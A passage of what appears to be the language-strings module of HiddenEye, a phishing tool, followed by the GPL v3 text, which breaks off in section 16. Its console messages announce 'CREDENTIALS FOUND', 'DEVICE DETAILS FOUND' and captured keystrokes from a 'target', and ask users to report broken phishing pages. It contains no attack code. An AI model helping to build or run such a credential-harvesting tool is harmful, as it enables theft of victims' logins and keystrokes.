||||
lang_verify_connection = {
|
||||
"connected":
|
||||
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"disconnected":
|
||||
_("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"verify_your_connection":
|
||||
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"continue_warning":
|
||||
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"continue_confirmation":
|
||||
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_module_loading_message = {
|
||||
"is_loaded":
|
||||
_("{0} IS LOADED...{0}\n--------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"select_any_mode":
|
||||
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
|
||||
|
||||
lang_port_selector = {
|
||||
"website_port_selection":
|
||||
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_port":
|
||||
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"port_suggestion":
|
||||
_("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_exit_message = {
|
||||
"choice":
|
||||
_("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
|
||||
).format(default_palette[0], default_palette[4], default_palette[2]),
|
||||
"help_to_improve_this_tool":
|
||||
_("{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"tell_if_page_got_broken":
|
||||
_("{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"make_your_pull_request_or_issue":
|
||||
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"small_disclaimer_suggestion":
|
||||
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"forum_suggestion":
|
||||
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"financial_support":
|
||||
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"thank_you":
|
||||
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_credentials_collector = {
|
||||
"waiting_for_interaction":
|
||||
_("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
|
||||
).format(default_palette[0], default_palette[2], default_palette[4]),
|
||||
"credentials_found":
|
||||
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"device_details_found":
|
||||
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"getting_pressed_keys":
|
||||
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_terms_of_service_message = {
|
||||
"great_power_great_responsibility":
|
||||
_(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"do_you_accept_license":
|
||||
_("{0}Do you accept {1}license{0}?").format(default_palette[2],
|
||||
default_palette[0]),
|
||||
"enter_this_to_confirm":
|
||||
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
|
||||
default_palette[2],
|
||||
default_palette[0],
|
||||
text_to_confirm=text_to_confirm_license),
|
||||
"you_are_not_allowed":
|
||||
_("{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"GPL_3.0":
|
||||
_("""
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
